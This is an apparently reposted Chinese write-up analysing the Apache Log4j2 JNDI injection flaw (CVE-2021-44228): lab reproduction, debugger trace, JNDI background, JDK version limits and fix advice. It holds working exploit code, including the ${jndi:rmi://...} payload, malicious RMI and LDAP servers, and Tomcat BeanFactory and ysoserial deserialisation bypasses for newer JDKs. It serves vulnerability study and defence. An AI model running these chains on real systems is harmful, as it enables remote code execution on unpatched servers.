0x00 漏洞描述
2021年12月10日,國家資訊安全漏洞共享平臺(CNVD)收錄了Apache Log4j2 遠程代碼執行漏洞(CNVD-2021-95914),攻擊者利用該漏洞,可在未授權的情況下遠程執行代碼,目前,漏洞利用細節已公開,Apache官方已發布補丁修復該漏洞,
?Apache Log4j2是一個基于Java的日志記錄組件,該日志組件被廣泛應用于業務系統開發,用以記錄程式輸入輸出日志資訊,得益于其突出于其他日志的優勢:異步日志實作,是最受歡迎的于開發時的日志組件,
?2021年11月24日,阿里云安全團隊向Apache官方報告了Apache Log4j2 遠程代碼執行漏洞,由于Log4j2 組件在處理程式日志記錄時存在JNDI 注入缺陷,未經授權的攻擊者利用該漏洞,可向目標服務器發送精心構造的惡意資料,觸發Log4j2 組件決議缺陷,實作目標服務器的任意代碼執行,獲得目標服務器權限,
0x01 漏洞等級
高危,官方 CVSS 評分 10.0(最高是10.0),CVE 編號為:CVE-2021-44228
0x02 漏洞影響
- Apache Log4j2 2.x <= 2.14.1
- Apache Log4j2 2.15.0-rc1 (補丁繞過)
該漏洞影響了大批Java框架,包括但不限于:Spring-Boot-strater-log4j2、Apache Struts2、Apache Solr、Apache Flink、Apache Druid、Elasticsearch、Flume、Dubbo、Redis、Logstash、Kafka 以及使用log4j2組件的自研/商業系統等,
0x03 環境搭建
遵守網路安全相關法規,本文不提供任何EXP工具,僅復現和分析漏洞程序原理,故本地搭建存在漏洞版本的 Apache Log4j2 2.11.1
新建maven專案,jdk版本選用1.70_21(原因后面會說):

pom.xml 匯入log4j2 2.11.1的版本依賴:
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
<version>2.1.1.RELEASE</version>
</dependency>
</dependencies>
然后右鍵pom.xml -> Synchronize即可下載依賴:

0x04 漏洞復現
首先寫一個惡意命令執行彈計算器的類,惡意代碼放在靜態塊中
Calc.java
import java.io.IOException;
public class Calc {
public Calc() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
使用命令 javac Calc.java 編譯成class檔案
用 marshalsec.jar 起一個簡單的RMI服務,模擬惡意RMI服務端,將上面編譯好的Calc.class放入同級目錄下,運行:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.1.57/#Calc 1389

再模擬客戶端,寫一個漏洞利用點
Log4j2.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* Hello world!
*
*/
public class Log4j2
{
public static void main( String[] args )
{
System.out.println( "Hello World!" );
Logger logger = LogManager.getLogger(Log4j2.class);
logger.error("${jndi:rmi://192.168.1.57:1389/#Calc}");
}
}
運行之后就請求到惡意RMI服務器,并動態加載遠程惡意位元組碼執行:


0x05 漏洞原理
0x05_1 動態除錯
用Log4j2記錄日志,一般是用LogManager.getLogger()獲取到Logger物件,在使用Logger物件下的error/debug/info/log/trace/warn等方法處理日志資訊:

研究一下漏洞的觸發點是什么,在logger.error()函式處下斷點除錯:

進入error方法后,可以看到在logIfEnabled()方法中,傳入了日志的Level、Message(我們的可控payload):

判斷日志是否開啟,開啟則進行logMessage方法處理:

值得一提的是,在isEnabled()中,會對Level的值進行一個優先級的記錄,比如當前Error的日志是200:

其他的等級如下:


所以日志的優先級為:
OFF > FATAL > ERROR > WARN > INFO > DEBG > TRACE > ALL
在logMessage()之后,多次呼叫之后,最后移交給logMessageTrackRecursion()處理,這里會計算一個遞回處理日志的一個深度:

在處理日志的之前,會從privateConfig中獲取打日志的策略:

獲取策略之后,呼叫log方法,跟進去發現是交給loggerConfig.log()去處理:

在loggerConfig.log()中,先是創建了logEvent,之后再呼叫多載的log()來處理logEvent物件(日志資訊):

最后是進入processLogEvent()中處理,設定了列印了location資訊,然后進入callAppender():

之后一直跟進到AbstractOutputStreamAppender.append()方法:

在directEncodeEvent中,獲取PatternLayerout來進行encode處理日志:

在ToText方法中,傳入了兩個引數,一個是處理event的11個formatters;另一個是我們的日志:

接下來就使用每一個formatters的format方法來格式化日志event:

十一個formatters分別是:
DatePatternConverter
LiteralPatternConverter
ThreadNamePatternConverter
LiteralPatternConverter
LevelPatternConverter
LiteralPatternConverter
LoggerPatternConverter
LiteralPatternConverter
MessagePatternConverter 【關鍵觸發點】
LineSeparatorPatternConverter
ExtendedThrowablePatternConverter

簡單跟一下是日志處理程序,第一個登場的是DatePatternConverter,用于處理/記錄日志時間,執行完DatePatternConverter.format()之后 ,結果回傳到buffer中:

其他的PatternConverter就不一一跟進了,直接跟處理日志的關鍵MessagePatternConverter :

將原本event的日志字符提取到Message msg中;之前的結果賦值給workingBuilder中,然后會有一個nolookups的私有final變數,默認是false,即使默認使用lookup操作,為后面的jndi命令注入利用提供可能:



判斷了payload(即將需要處理的日志)中是否有:${ 有則提出來賦值給value并傳給replace方法進一步處理:

在replace方法中,又傳給substitue方法處理:

substitute關鍵處理邏輯是先對前綴( ${ )、后綴( } )、分隔符( :- )字符的Mather類進行初始化:

然后遞回處理截取了${xxx}中的xxx內容,這里截取了payload:jndi:rmi://192.168.1.57:1389/#Calc

截取到內容之后,再遞回去繼續截取${xxx},當然,如果沒有嵌套的${xxx}就直接return了: 
然后就是匹配分隔符::-

上面匹配了前綴( ${ )、后綴( } )、分隔符( :- ),都是最后給replace成空,也就是去掉這些字符,而且也存在遞回操作,這里也為后面的jndi注入bypass WAF提供了途徑和可能,
然后使用checkCyclicSubstitution方法確認處理后的字串和原字串是否有出入,然后進入關鍵的resolveVariable函式,:

然后交給StrLookup.looup()來決議payload,可以看到resolver是一個Interpolator類,

構造方法里面初始化了一個 strLookupMap ,將一些 lookup 功能關鍵字和對應的實體類進行了映射,存放在這個 Map 中:

值得一提的是,這些關鍵字隨著log4j2的版本不同,支持處理的也會不同,比如上圖的是存在于版本2.11.1中的,而在版本2.14.0中額外支持了關鍵字:upper、lower
在支持更多關鍵字決議的同時,也為Bypass WAF提供了更多操作空間,

在lookup方法中,將判斷prefix是否在支持關鍵字中(在strLookupMap表中查詢),并通過strLookupMap 表獲取到對應的實體,這里是JNDI實體:

然后使用對應的實體,即JndiLookup#ookup方法處理jndi后面的內容:

最后呼叫JndiManager#lookup()來進行jndi查詢,同時也可以看到JndiManger實際上包含了一個InitialContext類,可以用于lookup操作:

再跟入稍等幾秒鐘就會請求遠程的RMI服務器上的Calc.class

至此,除錯結束,
0x05_2 JNDI是什么?
上面的漏洞復現都是使用marshealsec.jar直接起的LDAP/RMI服務器,有些同學可能會對JNDI和LDAP/RMI服務有些疑惑,這里簡單介紹一下,
JNDI:全稱為Java Naming and Directory Interface(java命名和目錄介面)SUN公司提供的一種標準的Java命名系統介面,JNDI提供統一的客戶端API,通過不同的服務供應介面(SPI)的實作,由管理者將JNDI API映射為特定的命名服務和目錄系統,使得Java應用程式可以和這些命名服務和目錄服務之間進行互動,
RMI:是經典的命名服務,命名服務是一種簡單的鍵值對系結,可以通過鍵名檢索值,
LDAP:是典型的目錄服務,目錄服務是命名服務的拓展,它與命名服務的區別在于它可以通過物件屬性來檢索物件,我們舉個例子:比如你要在某個學校里找某個人,那么會通過:年級->班級->姓名這種方式來查找,年級、班級、姓名這些就是某個人的屬性,這種層級關系就很像目錄關系,所以這種存盤物件的方式就叫目錄服務,
其實命名服務與目錄服務的本質是一樣的,都是通過鍵來查找物件,只不過目錄服務的鍵要靈活且復雜一點,
JNDI是對各種訪問目錄服務的邏輯進行了再封裝,類似于java中的多型,通俗的來說也就是:以前我們訪問rmi與ldap要寫的代碼差別很大,但是有了jndi這一層,我們就可以用jndi的方式來輕松訪問rmi或者ldap服務,所以jndi更像一種提供多型的介面,如下圖:

在JNDI中提供了系結和查找的方法:
- bind:將名稱系結到物件中;
- lookup:通過名字檢索執行的物件;
下面將簡單地演示如何用jndi訪問rmi服務:
IHello.java 介面
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IHello extends Remote {
public String sayHello(String name) throws RemoteException;
}
IHelloImpl.java 實作IHello介面
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class IHelloImpl extends UnicastRemoteObject implements IHello {
protected IHelloImpl() throws RemoteException {
super();
}
@Override
public String sayHello(String name) throws RemoteException {
return "Hello " + name;
}
}
RMIServer.java 模擬RMI服務端
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
// init registery
Registry registry = LocateRegistry.createRegistry(1099);
// create object
IHello iHello = new IHelloImpl();
// bind obj
registry.bind("hello", iHello);
System.out.println("RMI Server Starting at 1099 ...");
}
}
RMIClient.java 模擬RMI客戶端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;
import java.util.Properties;
public class RMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
// init env
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099"); // 指定了到rmi://127.0.0.1:1099加載本地沒有的類
Context ctx = new InitialContext(env);
// jndi get remote obj
IHello iHello = (IHello) ctx.lookup("hello");
// IHello iHello = (IHello) ctx.lookup("rmi://127.0.0.1:1099/calc"); // remote Evil RMIServer
System.out.println(iHello.sayHello("RMIServer"));
}
}
其中,Context.PROVIDER_URL指定了到rmi://127.0.0.1:1099加載本地沒有的類,
下面運行按順序啟動服務端和運行客戶端:


那么思考一個問題,在客戶端的Context.lookup("hello");方法是否可以修改為惡意服務器地址呢?
答案是可以的,這就涉及到JNDI的動態協議轉換,
JNDI 動態協議轉換
就是說即使提前配置了Context.PROVIDER_URL屬性,當我們呼叫lookup()方法時,如果lookup方法的引數是一個uri地址,那么客戶端就會去lookup()方法引數指定的uri中加載遠程物件,而不是去Context.PROVIDER_URL設定的地址去加載物件,
正是因為有這個特性,才導致當lookup()方法的引數可控時,攻擊者可以通過提供一個惡意的url地址來控制受害者加載攻擊者指定的惡意類,
JNDI Reference類
但是你以為直接讓受害者去攻擊者指定的rmi注冊表加載一個類回來就能完成攻擊嗎,是不行的,因為受害者本地沒有攻擊者提供的類的class檔案,所以是呼叫不了方法的,所以我們需要借助Reference類來加載RMI/LDAP服務以外的物件參考,
如果遠程獲取 RMI 服務上的物件為 Reference 類或者其子類,則在客戶端獲取到遠程物件存根實體時,可以從其他服務器上加載 class 檔案來進行實體化,
創建Reference物件,可以將惡意物件類傳入其構造方法中:
// 第一個引數是遠程加載時所使用的類名, 第二個引數是要加載的類的完整類名,第三個引數就是遠程class檔案存放的地址了
Reference refObj = new Reference("calcName", "Calc", "http://192.168.1.57:1099/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
當有客戶端通過lookup("refObj")獲取遠程物件時,獲取的是一個Reference類,客戶端會在本地的classpath中去檢查是否存在類calcName,如果不存在則去指定的http://192.168.1.57:1099/calcName.class)動態加載,并且呼叫Calc的無參建構式,所以可以在建構式里寫惡意代碼(當然也可以在static代碼塊中)
JNDI注入
下面演示簡單的JNDI注入,其原理是將惡意的Reference類系結在RMI注冊表中,并將惡意參考指向遠程惡意的class檔案,
JNDI注入的利用條件:
- 客戶端的lookup()方法的引數可控
- 服務端中Reference的classFactoryLocation引數可控(Reference構造方法的第三個引數)
當用戶的JNDI客戶端訪問RMI注冊表中系結的惡意Reference類時,會加載遠程服務器上的惡意class檔案在客戶端本地執行,最終實作JNDI注入攻擊導致遠程代碼執行,

下面代碼實作:
RMIReferenceServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIReferenceServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
// init registery
Registry registry = LocateRegistry.createRegistry(1099);
// create reference object
Reference reference = new Reference("calc", "Calc", "http://192.168.1.57:8081/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
// bind obj
registry.bind("test", wrapper);
System.out.println("RMI Server Starting at 1099 ...");
}
}
上面指定了Reference物件到惡意服務端http://192.168.1.57:8081/中動態加載,這里需要起一個8081埠的http服務,并將惡意類Calc.class放在其根目錄下:
python -m http.server 8081
客戶端的lookup引數為:
ctx.lookup("rmi://192.168.1.57:1099/test")
運行客戶端之后:

http服務也收到class的請求:

0x06 JDK版本限制
jdk版本在jndi注入中也起著至關重要的作用,一些利用鏈依賴于jdk中的一些特殊類,但是隨著jdk版本的升級,可能這些類會被丟棄和更改,導致不能適用,也就是說不同的攻擊對jdk的版本要求也不一致:
JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默認值被設定為true,當該值為true時,將禁用自動加載遠程類檔案,僅從CLASSPATH和當前JVM的java.rmi.server.codebase指定路徑加載類檔案,使用這個屬性來防止客戶端VM從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性,
JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase選項,默認為false,禁止RMI和CORBA協議使用遠程codebase的選項,因此RMI和CORBA在以上的JDK版本上已經無法觸發該漏洞,但依然可以通過指定URI為LDAP協議來進行JNDI注入攻擊,
JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase選項,默認為false,禁止LDAP協議使用遠程codebase的選項,把LDAP協議的攻擊途徑也給禁了,
0x06_1 JDK8u121后
上文漏洞復現中適用的是jdk1.70_21,當選用jdk1.8.0_121后:

在使用RMI協議無法進行jndi注入:

這里可以使用LDAP協議進行繞過:

0x06_2 JDK8u191后
RMI協議的繞過
在使用高版本的JDK之后,默認com.sun.jndi.rmi.object.trustURLCodebase、
com.sun.jndi.cosnaming.object.trustURLCodebase 的值變為false,禁用了遠程加載惡意類的方法,RMI和LDAP協議都無法注入成功,
不過并沒有限制從本地進行加載類檔案,比如org.apache.naming.factory.BeanFactory(存在Tomcat8中),因為是在本地的,所以無需搭建http服務即可利用,
這里事先匯入Tomcat8的包:

BypassJdk8u191Server.java 模擬服務端:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class BypassJdk8u191Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
resourceRef.add(new StringRefAddr("forceString", "a=evil"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(resourceRef);
registry.bind("Calc", refObjWrapper);
System.out.println("Creating evil RMI registry on port 1099");
}
}
客戶端的lookup引數為:
ctx.lookup("rmi://192.168.1.57:1099/calc")

LDAP協議的繞過
JDK 6u211,7u201, 8u191, 11.0.1開始,com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整為false,導致LDAP遠程代碼攻擊方式開始失效,
利用 javaSerializedData 屬性繞過,
當 javaSerializedData 屬性的value值不為空時,會對該值進行反序列化處理,當本地存在反序列化利用鏈時,即可觸發,
假設目標存在一個CC鏈所需的類別庫,pom.xml:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk -->
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
<scope>compile</scope>
</dependency>
那么可以利用這點進行利用:
1. 先用ysoserial.jar 生成CC鏈的POC:
java -jar ysoserial.jar CommonsCollections3 calc | base64
2. 轉換為base64放到服務端代碼里:

LDAP服務端代碼為:
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.URL;
public class BypassJDK8191LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] tmp_args) throws Exception {
String[] args = new String[]{"http://localhost/#Calc"};
int port = 1389;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaSerializedData", Base64.decode("your base64 code"));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
客戶端的lookup引數為:
ctx.lookup("ldap://192.168.1.57:1389/Calc")

0x07 修復建議
?目前,Apache官方已發布新版本完成漏洞修復,CNVD建議用戶盡快進行自查,并及時升級至最新版本:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 ,
?建議同時采用如下臨時措施進行漏洞防范:
- 添加jvm啟動引數-Dlog4j2.formatMsgNoLookups=true;
- 在應用classpath下添加log4j2.component.properties組態檔,檔案內容為log4j2.formatMsgNoLookups=true;
- JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
- 部署使用第三方防火墻產品進行安全防護,
?建議使用如下相關應用組件構建網站的資訊系統運營者進行自查,如Apache Struts2、Apache Solr、Apache Druid、Apache Flink等,發現存在漏洞后及時按照上述建議進行處置,
0x08 參考鏈接
https://tntaxin.blog.csdn.net/article/details/105586691
https://xz.aliyun.com/t/10035#toc-4
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/385497.html
標籤:其他
